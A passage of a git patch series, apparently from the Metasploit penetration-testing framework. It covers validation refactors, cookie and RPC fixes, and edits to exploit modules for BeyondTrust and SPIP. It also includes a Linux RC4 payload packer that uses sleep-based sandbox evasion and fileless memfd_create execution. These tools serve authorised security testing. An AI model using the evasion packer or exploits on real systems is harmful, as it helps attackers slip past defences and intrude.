datastore['TARGET_DOMAIN'].blank? + errors['TARGET_DOMAIN'] = "TARGET_DOMAIN is required for #{action.name} action" if datastore['TARGET_DOMAIN'].blank? end - fail_with(Failure::BadConfig, 'BULK action only supports leak scope') if action.name == 'BULK' && datastore['SCOPE'] == 'service' - fail_with(Failure::BadConfig, 'MAXPAGE must be between 1 and 500') unless datastore['MAXPAGE'].to_i.between?(1, 500) - fail_with(Failure::BadConfig, 'MAXRESULTS must be >= 0') if datastore['MAXRESULTS'].to_i < 0 + errors['SCOPE'] = 'BULK action only supports leak scope' if action.name == 'BULK' && datastore['SCOPE'] == 'service' + errors['MAXPAGE'] = 'MAXPAGE must be between 1 and 500' unless datastore['MAXPAGE'].to_i.between?(1, 500) + errors['MAXRESULTS'] = 'MAXRESULTS must be >= 0' if datastore['MAXRESULTS'].to_i < 0 + + raise Msf::OptionValidateError, errors unless errors.empty? end def run - validate_options! case action.name when 'SEARCH' then action_search From 2bc2a3e3c099caee34fe48ce9393ec91bc1ccad7 Mon Sep 17 00:00:00 2001 From: Valentin Lobstein Date: Thu, 26 Feb 2026 17:26:23 +0100 Subject: [PATCH 031/103] Fix: Remove extra empty line in run method --- modules/auxiliary/gather/leakix_search.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/auxiliary/gather/leakix_search.rb b/modules/auxiliary/gather/leakix_search.rb index 6e1fb637b3e00..0363d892502e4 100644 --- a/modules/auxiliary/gather/leakix_search.rb +++ b/modules/auxiliary/gather/leakix_search.rb @@ -510,7 +510,6 @@ def validate end def run - case action.name when 'SEARCH' then action_search when 'BULK' then action_bulk From 2540a16062ec4ac38ba3584255f35623a3004dec Mon Sep 17 00:00:00 2001 From: "[Aaditya1273]" Date: Fri, 27 Feb 2026 06:58:34 +0530 Subject: [PATCH 032/103] Fix msfrpcd JSON-RPC SSL check incorrectly requiring msfdb init #21022 --- msfrpcd | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/msfrpcd b/msfrpcd index eaec0b9e73cb1..4e83804d27797 100755 --- a/msfrpcd +++ b/msfrpcd @@ -208,8 +208,8 @@ if $PROGRAM_NAME == __FILE__ begin if json_rpc - if !File.file?(ws_ssl_key_default) || !File.file?(ws_ssl_cert_default) - $stdout.puts "[-] It doesn't appear msfdb has been run; please run 'msfdb init' first." + if opts['SSL'] && (!File.file?(ws_ssl_key) || !File.file?(ws_ssl_cert)) + $stdout.puts "[-] It doesn't appear msfdb has been run; please run 'msfdb init' first to generate SSL certificates." abort end From a6eb33b6576ddf2654584f7fa317cf299095a96e Mon Sep 17 00:00:00 2001 From: Hemang360 Date: Fri, 27 Feb 2026 14:58:37 +0530 Subject: [PATCH 033/103] Fix httpcookie constructor to handle non string value --- lib/msf/core/exploit/remote/http/http_cookie.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/remote/http/http_cookie.rb b/lib/msf/core/exploit/remote/http/http_cookie.rb index d20ea7c514359..b1b042d97bcaa 100644 --- a/lib/msf/core/exploit/remote/http/http_cookie.rb +++ b/lib/msf/core/exploit/remote/http/http_cookie.rb @@ -24,7 +24,7 @@ class HttpCookie # +accessed_at+, +created_at+. def initialize(name, value = nil, **attr_hash) if value - @cookie = ::HTTP::Cookie.new(name, value) + @cookie = ::HTTP::Cookie.new(name, value.is_a?(String) ? value : value.to_s) else @cookie = ::HTTP::Cookie.new(name) end From b2500442fe6c19c65b8177adb7c3d8995aca9a8b Mon Sep 17 00:00:00 2001 From: Hemang360 Date: Fri, 27 Feb 2026 15:01:16 +0530 Subject: [PATCH 034/103] Fix cookie jar documentation examples and add test --- .../How-to-Send-an-HTTP-Request-Using-HttpClient.md | 11 +++++++---- .../exploit/remote/remote/http/http_cookie_spec.rb | 9 ++++++++- 2 files changed, 15 insertions(+), 5 deletions(-) diff --git a/docs/metasploit-framework.wiki/How-to-Send-an-HTTP-Request-Using-HttpClient.md b/docs/metasploit-framework.wiki/How-to-Send-an-HTTP-Request-Using-HttpClient.md index 99fdea52b4d58..d835900e07a17 100644 --- a/docs/metasploit-framework.wiki/How-to-Send-an-HTTP-Request-Using-HttpClient.md +++ b/docs/metasploit-framework.wiki/How-to-Send-an-HTTP-Request-Using-HttpClient.md @@ -81,14 +81,17 @@ Any object passed to `cookie` that isn't an instance of HttpCookieJar will have ---- -Module authors can also pass an instance of `HttpCookieJar` with the `cookie` option: +Module authors can also pass an instance of `HttpCookieJar` with the `cookie` option. + +Important: Cookies added to a `HttpCookieJar` must have both `domain` and `path` set, and cookie values must be strings. Without these attributes the underlying cookie store will raise an `ArgumentError`. ```ruby cj = Msf::Exploit::Remote::HTTP::HttpCookieJar.new -cj.add(Msf::Exploit::Remote::HTTP::HttpCookie.new('PHPSESSID', @phpsessid)) -cj.add(Msf::Exploit::Remote::HTTP::HttpCookie.new('AsWebStatisticsCooKie', 1)) -cj.add(Msf::Exploit::Remote::HTTP::HttpCookie.new('shellinaboxCooKie', 1)) +target_host = datastore['RHOST'] +cj.add(Msf::Exploit::Remote::HTTP::HttpCookie.new('PHPSESSID', @phpsessid, domain: target_host, path: '/')) +cj.add(Msf::Exploit::Remote::HTTP::HttpCookie.new('AsWebStatisticsCooKie', '1', domain: target_host, path: '/')) +cj.add(Msf::Exploit::Remote::HTTP::HttpCookie.new('shellinaboxCooKie', '1', domain: target_host, path: '/')) res = send_request_cgi({ 'method' => 'GET', diff --git a/spec/lib/msf/core/exploit/remote/remote/http/http_cookie_spec.rb b/spec/lib/msf/core/exploit/remote/remote/http/http_cookie_spec.rb index 0fe2aeb644854..747502023bbe2 100644 --- a/spec/lib/msf/core/exploit/remote/remote/http/http_cookie_spec.rb +++ b/spec/lib/msf/core/exploit/remote/remote/http/http_cookie_spec.rb @@ -68,7 +68,14 @@ def random_string(min_len = 1, max_len = 12) expect(cookie.value.class).to eql(String) end end - + + describe 'Integer' do + it 'passed as value during initialization is converted to a String' do + c = described_class.new('test_cookie', 1) + expect(c.value).to eql('1') + expect(c.value.class).to eql(String) + end + end describe 'nil' do it 'assigned to value results in it being set to an empty string and expires is set UNIX_EPOCH' do v = nil From 22b63ae79e7f447e7efb8eadad4e8b6dca6b164b Mon Sep 17 00:00:00 2001 From: Ramesh Date: Fri, 27 Feb 2026 19:38:03 +0530 Subject: [PATCH 035/103] Fix reload_all failing with unknown command reload --- lib/msf/ui/console/command_dispatcher/modules.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/ui/console/command_dispatcher/modules.rb b/lib/msf/ui/console/command_dispatcher/modules.rb index 23c0d1f3aef83..27ad73109ac86 100644 --- a/lib/msf/ui/console/command_dispatcher/modules.rb +++ b/lib/msf/ui/console/command_dispatcher/modules.rb @@ -1104,7 +1104,7 @@ def cmd_reload_all(*args) wlog(log_msg) end - self.driver.run_single('reload') + self.driver.run_single('reload') if self.driver.active_module self.driver.run_single("banner") end From b6acc1fd28df9946b54b01e769cd9f6aa8284754 Mon Sep 17 00:00:00 2001 From: litemars Date: Fri, 27 Feb 2026 15:21:04 +0100 Subject: [PATCH 036/103] moved rc4_packer to x64 sub-directory --- .../{x64_rc4_packer.rb => x64/rc4_packer.rb} | 27 +++++++++---------- 1 file changed, 13 insertions(+), 14 deletions(-) rename modules/evasion/linux/{x64_rc4_packer.rb => x64/rc4_packer.rb} (69%) diff --git a/modules/evasion/linux/x64_rc4_packer.rb b/modules/evasion/linux/x64/rc4_packer.rb similarity index 69% rename from modules/evasion/linux/x64_rc4_packer.rb rename to modules/evasion/linux/x64/rc4_packer.rb index 300b33bf5d1f2..df076f3821d9c 100644 --- a/modules/evasion/linux/x64_rc4_packer.rb +++ b/modules/evasion/linux/x64/rc4_packer.rb @@ -13,23 +13,23 @@ def initialize(info = {}) super( update_info( info, - 'Name' => 'Linux RC4 Encrypted Payload Generator', - 'Description' => %q{ + 'Name' => 'Linux RC4 Encrypted Payload Generator', + 'Description' => %q{ This module generates a Linux ELF executable with RC4 encryption and optional sleep-based sandbox evasion. The evasion module works on systems with Linux Kernel > 3.17 due to memfd_create support. - + Features: - RC4 encryption with configurable key - Fileless execution via memfd_create }, - 'Author' => ['Massimo Bertocchi'], - 'License' => MSF_LICENSE, - 'Platform' => 'linux', - 'Arch' => [ARCH_X64], - 'Targets' => [['Linux x64', {}]], - 'DefaultTarget' => 0, + 'Author' => ['Massimo Bertocchi'], + 'License' => MSF_LICENSE, + 'Platform' => 'linux', + 'Arch' => [ARCH_X64], + 'Targets' => [['Linux x64', {}]], + 'DefaultTarget' => 0, ) ) @@ -40,17 +40,16 @@ def initialize(info = {}) end def run - raw_payload = payload.encoded if raw_payload.blank? - fail_with(Failure::BadConfig, "Failed to generate payload") + fail_with(Failure::BadConfig, 'Failed to generate payload') end elf_payload = Msf::Util::EXE.to_linux_x64_elf(framework, raw_payload) - complete_loader = sleep_evasion( seconds: datastore['SLEEP_TIME']) + rc4_decrypter(data: (in_memory_load(elf_payload) + elf_payload)) + complete_loader = sleep_evasion(seconds: datastore['SLEEP_TIME']) + rc4_decrypter(data: (in_memory_load(elf_payload) + elf_payload)) final_elf = Msf::Util::EXE.to_linux_x64_elf(framework, complete_loader) + File.binwrite(datastore['FILENAME'], final_elf) File.chmod(0755, datastore['FILENAME']) - end -end +end \ No newline at end of file From 003ac7b12d613963495a316435321df6470ac722 Mon Sep 17 00:00:00 2001 From: litemars Date: Fri, 27 Feb 2026 15:44:28 +0100 Subject: [PATCH 037/103] changed description --- modules/evasion/linux/x64/rc4_packer.rb | 15 +++++---------- 1 file changed, 5 insertions(+), 10 deletions(-) diff --git a/modules/evasion/linux/x64/rc4_packer.rb b/modules/evasion/linux/x64/rc4_packer.rb index df076f3821d9c..62d80dfd2012f 100644 --- a/modules/evasion/linux/x64/rc4_packer.rb +++ b/modules/evasion/linux/x64/rc4_packer.rb @@ -15,21 +15,16 @@ def initialize(info = {}) info, 'Name' => 'Linux RC4 Encrypted Payload Generator', 'Description' => %q{ - This module generates a Linux ELF executable with RC4 encryption - and optional sleep-based sandbox evasion. - - The evasion module works on systems with Linux Kernel > 3.17 due to memfd_create support. - - Features: - - RC4 encryption with configurable key - - Fileless execution via memfd_create + This evasion module packs Linux payloads using RC4 encryption + and executes them from memory using memfd_create for fileless execution. + Linux kernel version support: 3.17+ }, 'Author' => ['Massimo Bertocchi'], 'License' => MSF_LICENSE, 'Platform' => 'linux', 'Arch' => [ARCH_X64], 'Targets' => [['Linux x64', {}]], - 'DefaultTarget' => 0, + 'DefaultTarget' => 0 ) ) @@ -50,6 +45,6 @@ def run final_elf = Msf::Util::EXE.to_linux_x64_elf(framework, complete_loader) File.binwrite(datastore['FILENAME'], final_elf) - File.chmod(0755, datastore['FILENAME']) + File.chmod(0o755, datastore['FILENAME']) end end \ No newline at end of file From c5c67fac56cb93db4391b8db312b7eec51804ed4 Mon Sep 17 00:00:00 2001 From: litemars Date: Fri, 27 Feb 2026 16:02:35 +0100 Subject: [PATCH 038/103] new line for linter --- modules/evasion/linux/x64/rc4_packer.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/evasion/linux/x64/rc4_packer.rb b/modules/evasion/linux/x64/rc4_packer.rb index 62d80dfd2012f..c7ae6c773c248 100644 --- a/modules/evasion/linux/x64/rc4_packer.rb +++ b/modules/evasion/linux/x64/rc4_packer.rb @@ -47,4 +47,4 @@ def run File.binwrite(datastore['FILENAME'], final_elf) File.chmod(0o755, datastore['FILENAME']) end -end \ No newline at end of file +end From bfbc425469da22a978edd039fc38b4edc3fa0c6c Mon Sep 17 00:00:00 2001 From: Hemang Bhagat Date: Sun, 1 Mar 2026 15:12:44 +0530 Subject: [PATCH 039/103] Remove type check Co-authored-by: gardnerapp <70026825+gardnerapp@users.noreply.github.com> --- lib/msf/core/exploit/remote/http/http_cookie.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/remote/http/http_cookie.rb b/lib/msf/core/exploit/remote/http/http_cookie.rb index b1b042d97bcaa..98331dcaa18be 100644 --- a/lib/msf/core/exploit/remote/http/http_cookie.rb +++ b/lib/msf/core/exploit/remote/http/http_cookie.rb @@ -24,7 +24,7 @@ class HttpCookie # +accessed_at+, +created_at+. def initialize(name, value = nil, **attr_hash) if value - @cookie = ::HTTP::Cookie.new(name, value.is_a?(String) ? value : value.to_s) + @cookie = ::HTTP::Cookie.new(name, value.to_s) else @cookie = ::HTTP::Cookie.new(name) end From 4b363017ef73540bad14bc7e562b6a601756e3b3 Mon Sep 17 00:00:00 2001 From: Nayeraneru Date: Tue, 3 Mar 2026 06:24:42 +0200 Subject: [PATCH 040/103] minor change for CI --- spec/lib/msf/core/exploit/http/wordpress/base_spec.rb | 2 +- spec/lib/msf/core/exploit/http/wordpress/version_spec.rb | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/spec/lib/msf/core/exploit/http/wordpress/base_spec.rb b/spec/lib/msf/core/exploit/http/wordpress/base_spec.rb index fa086e814996d..50b15fd524cc7 100644 --- a/spec/lib/msf/core/exploit/http/wordpress/base_spec.rb +++ b/spec/lib/msf/core/exploit/http/wordpress/base_spec.rb @@ -59,7 +59,7 @@ proto: 'tcp', name: 'WordPress', parents: { - name: 'https', + name: 'http', host: nil, port: 80, diff --git a/spec/lib/msf/core/exploit/http/wordpress/version_spec.rb b/spec/lib/msf/core/exploit/http/wordpress/version_spec.rb index 2a7833e0e3551..0cbf8a579f97c 100644 --- a/spec/lib/msf/core/exploit/http/wordpress/version_spec.rb +++ b/spec/lib/msf/core/exploit/http/wordpress/version_spec.rb @@ -193,7 +193,7 @@ proto: 'tcp', name: 'WordPress', parents: { - name: 'https', + name: 'http', host: nil, port: 80, proto: 'tcp', From 9c7264b48fabce49bb27350851a982899382a49c Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Tue, 3 Mar 2026 15:42:15 +0100 Subject: [PATCH 041/103] Updates description --- .../linux/http/beyondtrust_pra_rs_command_injection.rb | 10 +--------- 1 file changed, 1 insertion(+), 9 deletions(-) diff --git a/modules/exploits/linux/http/beyondtrust_pra_rs_command_injection.rb b/modules/exploits/linux/http/beyondtrust_pra_rs_command_injection.rb index 47d7868487d16..a1dff8b3868c6 100644 --- a/modules/exploits/linux/http/beyondtrust_pra_rs_command_injection.rb +++ b/modules/exploits/linux/http/beyondtrust_pra_rs_command_injection.rb @@ -18,15 +18,7 @@ def initialize(info = {}) 'Name' => 'BeyondTrust Privileged Remote Access (PRA) and Remote Support (RS) unauthenticated Remote Code Execution', 'Description' => %q{ This exploit achieves unauthenticated remote code execution against BeyondTrust Privileged Remote - Access (PRA) and Remote Support (RS). It leverages three different vulnerabilities depending on the - user-selected target. - - The default target leverages CVE-2026-1731, a direct command injection affecting RS versions 25.3.1 - and prior, and PRA versions 24.3.4 and prior. - - Alternatively, the module can leverage a chain of CVE-2025-1094 (SQL injection in PostgreSQL) - and CVE-2024-12356 (argument injection), affecting RS and PRA versions 24.3.1 and prior. - + Access (PRA) and Remote Support (RS). The module targets CVE-2026-1731, a direct command injection affecting RS versions 25.3.1 and prior, and PRA versions 24.3.4 and prior. Exploitation occurs with the privileges of the site user of the targeted BeyondTrust product site. }, 'License' => MSF_LICENSE, From 6a97083e3b0831dfddad0b4ac06b91d24e92b3db Mon Sep 17 00:00:00 2001 From: Valentin Lobstein Date: Wed, 4 Mar 2026 15:23:27 +0100 Subject: [PATCH 042/103] Refactor: Use option conditions for action-specific validation --- modules/auxiliary/gather/leakix_search.rb | 22 ++++++---------------- 1 file changed, 6 insertions(+), 16 deletions(-) diff --git a/modules/auxiliary/gather/leakix_search.rb b/modules/auxiliary/gather/leakix_search.rb index 0363d892502e4..3ff1d749a7340 100644 --- a/modules/auxiliary/gather/leakix_search.rb +++ b/modules/auxiliary/gather/leakix_search.rb @@ -66,12 +66,12 @@ def initialize(info = {}) register_options([ OptString.new('LEAKIX_APIKEY', [true, 'The LeakIX API key']), - OptString.new('QUERY', [false, 'The LeakIX search query']), - OptEnum.new('SCOPE', [true, 'Search scope (BULK only supports leak)', 'leak', ['leak', 'service']]), - OptInt.new('MAXPAGE', [true, 'Max pages to collect (1-500, 20 results/page)', 1]), - OptInt.new('MAXRESULTS', [false, 'Stop after collecting this many results (0 = unlimited)', 0]), - OptString.new('TARGET_IP', [false, 'Target IP for HOST action']), - OptString.new('TARGET_DOMAIN', [false, 'Target domain for DOMAIN/SUBDOMAINS actions']), + OptString.new('QUERY', [true, 'The LeakIX search query'], conditions: ['ACTION', 'in', %w[SEARCH BULK]]), + OptEnum.new('SCOPE', [true, 'Search scope (BULK only supports leak)', 'leak', ['leak', 'service']], conditions: ['ACTION', 'in', %w[SEARCH BULK]]), + OptInt.new('MAXPAGE', [true, 'Max pages to collect (1-500, 20 results/page)', 1], conditions: %w[ACTION == SEARCH]), + OptInt.new('MAXRESULTS', [false, 'Stop after collecting this many results (0 = unlimited)', 0], conditions: ['ACTION', 'in', %w[SEARCH BULK]]), + OptString.new('TARGET_IP', [true, 'Target IP for HOST action'], conditions: %w[ACTION == HOST]), + OptString.new('TARGET_DOMAIN', [true, 'Target domain for DOMAIN/SUBDOMAINS actions'], conditions: ['ACTION', 'in', %w[DOMAIN SUBDOMAINS]]), OptString.new('OUTFILE', [false, 'Path to the file to store results']), OptBool.new('DATABASE', [false, 'Add search results to the database', false]) ]) @@ -492,16 +492,6 @@ def validate super errors = {} - - case action.name - when 'SEARCH', 'BULK' - errors['QUERY'] = "QUERY is required for #{action.name} action" if datastore['QUERY'].blank? - when 'HOST' - errors['TARGET_IP'] = 'TARGET_IP is required for HOST action' if datastore['TARGET_IP'].blank? - when 'DOMAIN', 'SUBDOMAINS' - errors['TARGET_DOMAIN'] = "TARGET_DOMAIN is required for #{action.name} action" if datastore['TARGET_DOMAIN'].blank? - end - errors['SCOPE'] = 'BULK action only supports leak scope' if action.name == 'BULK' && datastore['SCOPE'] == 'service' errors['MAXPAGE'] = 'MAXPAGE must be between 1 and 500' unless datastore['MAXPAGE'].to_i.between?(1, 500) errors['MAXRESULTS'] = 'MAXRESULTS must be >= 0' if datastore['MAXRESULTS'].to_i < 0 From 77df1f1e87e5a43e4117bdac003b9e6f71b445c5 Mon Sep 17 00:00:00 2001 From: Valentin Lobstein Date: Wed, 4 Mar 2026 17:13:03 +0100 Subject: [PATCH 043/103] Fix: Revert action-specific options to non-required with manual validation Option conditions control display but required:true still triggers validation across all actions. Reverted QUERY, TARGET_IP, TARGET_DOMAIN to required:false and re-added case/when validation in validate method. --- modules/auxiliary/gather/leakix_search.rb | 16 +++++++++++++--- 1 file changed, 13 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/gather/leakix_search.rb b/modules/auxiliary/gather/leakix_search.rb index 3ff1d749a7340..3781c17ac50fe 100644 --- a/modules/auxiliary/gather/leakix_search.rb +++ b/modules/auxiliary/gather/leakix_search.rb @@ -66,12 +66,12 @@ def initialize(info = {}) register_options([ OptString.new('LEAKIX_APIKEY', [true, 'The LeakIX API key']), - OptString.new('QUERY', [true, 'The LeakIX search query'], conditions: ['ACTION', 'in', %w[SEARCH BULK]]), + OptString.new('QUERY', [false, 'The LeakIX search query'], conditions: ['ACTION', 'in', %w[SEARCH BULK]]), OptEnum.new('SCOPE', [true, 'Search scope (BULK only supports leak)', 'leak', ['leak', 'service']], conditions: ['ACTION', 'in', %w[SEARCH BULK]]), OptInt.new('MAXPAGE', [true, 'Max pages to collect (1-500, 20 results/page)', 1], conditions: %w[ACTION == SEARCH]), OptInt.new('MAXRESULTS', [false, 'Stop after collecting this many results (0 = unlimited)', 0], conditions: ['ACTION', 'in', %w[SEARCH BULK]]), - OptString.new('TARGET_IP', [true, 'Target IP for HOST action'], conditions: %w[ACTION == HOST]), - OptString.new('TARGET_DOMAIN', [true, 'Target domain for DOMAIN/SUBDOMAINS actions'], conditions: ['ACTION', 'in', %w[DOMAIN SUBDOMAINS]]), + OptString.new('TARGET_IP', [false, 'Target IP for HOST action'], conditions: %w[ACTION == HOST]), + OptString.new('TARGET_DOMAIN', [false, 'Target domain for DOMAIN/SUBDOMAINS actions'], conditions: ['ACTION', 'in', %w[DOMAIN SUBDOMAINS]]), OptString.new('OUTFILE', [false, 'Path to the file to store results']), OptBool.new('DATABASE', [false, 'Add search results to the database', false]) ]) @@ -492,6 +492,16 @@ def validate super errors = {} + + case action.name + when 'SEARCH', 'BULK' + errors['QUERY'] = "QUERY is required for #{action.name} action" if datastore['QUERY'].blank? + when 'HOST' + errors['TARGET_IP'] = 'TARGET_IP is required for HOST action' if datastore['TARGET_IP'].blank? + when 'DOMAIN', 'SUBDOMAINS' + errors['TARGET_DOMAIN'] = "TARGET_DOMAIN is required for #{action.name} action" if datastore['TARGET_DOMAIN'].blank? + end + errors['SCOPE'] = 'BULK action only supports leak scope' if action.name == 'BULK' && datastore['SCOPE'] == 'service' errors['MAXPAGE'] = 'MAXPAGE must be between 1 and 500' unless datastore['MAXPAGE'].to_i.between?(1, 500) errors['MAXRESULTS'] = 'MAXRESULTS must be >= 0' if datastore['MAXRESULTS'].to_i < 0 From 2eb160add6291f2df33f49d6d0f29d16fd65bb91 Mon Sep 17 00:00:00 2001 From: g0t mi1k Date: Wed, 11 Feb 2026 19:31:47 +0000 Subject: [PATCH 044/103] dhcp_server: Add DHCPINTERFACE --- lib/msf/core/exploit/dhcp_server.rb | 1 + lib/rex/proto/dhcp/server.rb | 9 ++++++++- 2 files changed, 9 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/dhcp_server.rb b/lib/msf/core/exploit/dhcp_server.rb index f31fd314aaed7..d919a7df50fd3 100644 --- a/lib/msf/core/exploit/dhcp_server.rb +++ b/lib/msf/core/exploit/dhcp_server.rb @@ -17,6 +17,7 @@ def initialize(info = {}) register_options( [ + OptString.new('DHCPINTERFACE',[ false, "The network interface to use for broadcast" ]), OptString.new('SRVHOST', [ true, "The IP of the DHCP server" ]), OptString.new('NETMASK', [ true, "The netmask of the local subnet" ]), OptString.new('DHCPIPSTART', [ false, "The first IP to give out" ]), diff --git a/lib/rex/proto/dhcp/server.rb b/lib/rex/proto/dhcp/server.rb index b4b7b5ea5dae5..12d28947b9b8b 100644 --- a/lib/rex/proto/dhcp/server.rb +++ b/lib/rex/proto/dhcp/server.rb @@ -70,6 +70,8 @@ def initialize(hash, context = {}) self.broadcasta = Rex::Socket.addr_itoa( self.start_ip | (Rex::Socket.addr_ntoi(self.netmaskn) ^ 0xffffffff) ) end + self.interface = hash['DHCPINTERFACE'] || nil + self.served = {} self.serveOnce = hash.include?('SERVEONCE') @@ -110,6 +112,11 @@ def start 'Context' => context ) + # Dynamically bind to interface if provided + if interface && !interface.empty? + self.sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_BINDTODEVICE, "#{interface}\0") + end + self.thread = Rex::ThreadFactory.spawn("DHCPServerMonitor", false) { monitor_socket } @@ -153,7 +160,7 @@ def send_packet(ip, pkt) end attr_accessor :listen_host, :listen_port, :context, :leasetime, :relayip, :router, :dnsserv - attr_accessor :domain_name, :proxy_auto_discovery + attr_accessor :domain_name, :proxy_auto_discovery, :interface attr_accessor :sock, :thread, :myfilename, :ipstring, :served, :serveOnce attr_accessor :current_ip, :start_ip, :end_ip, :broadcasta, :netmaskn attr_accessor :servePXE, :pxeconfigfile, :pxealtconfigfile, :pxepathprefix, :pxereboottime, :serveOnlyPXE From 4534a8a07e84081da76c1f1cf26d44b3338d5ad7 Mon Sep 17 00:00:00 2001 From: Valentin Lobstein Date: Thu, 5 Mar 2026 14:07:22 +0100 Subject: [PATCH 045/103] Fix: Address msutovsky-r7 PR review feedback - Add IOC_IN_LOGS to SideEffects (POST payload may appear in app logs) - Pass page parameter via vars_get instead of embedding in URI string - Apply vars_get consistently in crawl seed request --- .../exploits/multi/http/spip_saisies_rce.rb | 24 ++++++++++++------- 1 file changed, 16 insertions(+), 8 deletions(-) diff --git a/modules/exploits/multi/http/spip_saisies_rce.rb b/modules/exploits/multi/http/spip_saisies_rce.rb index e2199953b8436..91499dd70a2a3 100644 --- a/modules/exploits/multi/http/spip_saisies_rce.rb +++ b/modules/exploits/multi/http/spip_saisies_rce.rb @@ -72,7 +72,7 @@ def initialize(info = {}) 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], - 'SideEffects' => [] + 'SideEffects' => [IOC_IN_LOGS] } ) ) @@ -108,17 +108,24 @@ def check def find_form_page if datastore['FORM_PAGE'].downcase != 'crawl' page = datastore['FORM_PAGE'] - uri = page.start_with?('/') ? page : normalize_uri(target_uri.path, "spip.php?page=#{page}") - return uri if saisies_form?(uri) + if page.start_with?('/') + return page if saisies_form?(page) - fail_with(Failure::NotFound, "No saisies form found at #{uri}") + fail_with(Failure::NotFound, "No saisies form found at #{page}") + end + + uri = normalize_uri(target_uri.path, 'spip.php') + full_uri = "#{uri}?page=#{page}" + return full_uri if saisies_form?(uri, 'page' => page) + + fail_with(Failure::NotFound, "No saisies form found at #{full_uri}") end crawl_for_form end - def saisies_form?(uri) - res = send_request_cgi('method' => 'GET', 'uri' => uri) + def saisies_form?(uri, vars_get = {}) + res = send_request_cgi('method' => 'GET', 'uri' => uri, 'vars_get' => vars_get) res&.code == 200 && res.body.include?(FORM_PARAM) end @@ -128,8 +135,9 @@ def crawl_for_form queue = [] # Seed with the SPIP sitemap page - plan_uri = normalize_uri(target_uri.path, 'spip.php?page=plan') - res = send_request_cgi('method' => 'GET', 'uri' => plan_uri) + plan_path = normalize_uri(target_uri.path, 'spip.php') + plan_uri = "#{plan_path}?page=plan" + res = send_request_cgi('method' => 'GET', 'uri' => plan_path, 'vars_get' => { 'page' => 'plan' }) if res&.code == 200 seen.add(plan_uri) extract_internal_links(res).each { |link| queue << link } From 3d38e9b27b3f3eb210ba8200a7402e7773eea43d Mon Sep 17 00:00:00 2001 From: Valentin Lobstein Date: Thu, 5 Mar 2026 14:13:05 +0100 Subject: [PATCH 046/103] Fix: Fallback check to Detected when plugin version unavailable - Use spip_version as fallback when spip_plugin_version fails - Return Detected instead of Unknown so AutoCheck does not abort - Fix lab healthcheck to wait for saisies form before reporting healthy --- .../exploit/multi/http/spip_saisies_rce.md | 2 +- .../exploits/multi/http/spip_saisies_rce.rb | 18 ++++++++++-------- 2 files changed, 11 insertions(+), 9 deletions(-) diff --git a/documentation/modules/exploit/multi/http/spip_saisies_rce.md b/documentation/modules/exploit/multi/http/spip_saisies_rce.md index 8b0d65f662e8f..e7d6e7ce6a2ff 100644 --- a/documentation/modules/exploit/multi/http/spip_saisies_rce.md +++ b/documentation/modules/exploit/multi/http/spip_saisies_rce.md @@ -43,7 +43,7 @@ services: db: condition: service_healthy healthcheck: - test: ["CMD", "curl", "-f", "http://localhost/"] + test: ["CMD", "bash", "-c", "curl -sf http://localhost/spip.php?page=contact | grep -q _anciennes_valeurs"] interval: 10s timeout: 5s retries: 30 diff --git a/modules/exploits/multi/http/spip_saisies_rce.rb b/modules/exploits/multi/http/spip_saisies_rce.rb index 91499dd70a2a3..0fcdcb6697144 100644 --- a/modules/exploits/multi/http/spip_saisies_rce.rb +++ b/modules/exploits/multi/http/spip_saisies_rce.rb @@ -88,17 +88,19 @@ def initialize(info = {}) def check version = spip_plugin_version('saisies') - unless version - return CheckCode::Unknown('Could not determine the saisies plugin version.') - end - - print_status("Saisies plugin version: #{version}") + if version + print_status("Saisies plugin version: #{version}") + if version.between?(Rex::Version.new('5.4.0'), Rex::Version.new('5.11.0')) + return CheckCode::Appears("Saisies plugin #{version} is in the vulnerable range (5.4.0 - 5.11.0).") + end - if version.between?(Rex::Version.new('5.4.0'), Rex::Version.new('5.11.0')) - return CheckCode::Appears("Saisies plugin #{version} is in the vulnerable range (5.4.0 - 5.11.0).") + return CheckCode::Safe("Saisies plugin #{version} is not in the vulnerable range.") end - CheckCode::Safe("Saisies plugin #{version} is not in the vulnerable range.") + spip_ver = spip_version + return CheckCode::Unknown('Target does not appear to be running SPIP.') unless spip_ver + + CheckCode::Detected("SPIP #{spip_ver} detected but could not determine saisies plugin version.") end # Find a page containing a saisies form (_anciennes_valeurs parameter). From 3de421f8f5cda41c269792bfe6a518254c9d4a3a Mon Sep 17 00:00:00 2001 From: adfoster-r7 Date: Thu, 5 Mar 2026 17:16:02 +0000 Subject: [PATCH 047/103] Update metasploit data models --- Gemfile.lock | 4 ++-- db/schema.rb | 9 ++++++++- metasploit-framework.gemspec | 2 +- 3 files changed, 11 insertions(+), 4 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 084e0e24438bd..73b973b100ebd 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -47,7 +47,7 @@ PATH metasploit-credential metasploit-model metasploit-payloads (= 2.0.240) - metasploit_data_models (>= 6.0.7) + metasploit_data_models (>= 6.0.15) metasploit_payloads-mettle (= 1.0.46) mqtt msgpack (~> 1.6.0) @@ -353,7 +353,7 @@ GEM mutex_m railties (~> 7.0) metasploit-payloads (2.0.240) - metasploit_data_models (6.0.12) + metasploit_data_models (6.0.15) activerecord (~> 7.0) activesupport (~> 7.0) arel-helpers diff --git a/db/schema.rb b/db/schema.rb index 1d74b6c434eca..7ef2a2ef85e93 100644 --- a/db/schema.rb +++ b/db/schema.rb @@ -10,7 +10,7 @@ # # It's strongly recommended that you check this file into your version control system. -ActiveRecord::Schema[7.2].define(version: 2025_07_21_114306) do +ActiveRecord::Schema[7.2].define(version: 2026_01_30_124052) do # These are extensions that must be enabled in order to support this database enable_extension "plpgsql" @@ -576,6 +576,12 @@ t.index ["module_run_id"], name: "index_sessions_on_module_run_id" end + create_table "sessions_tags", force: :cascade do |t| + t.integer "session_id" + 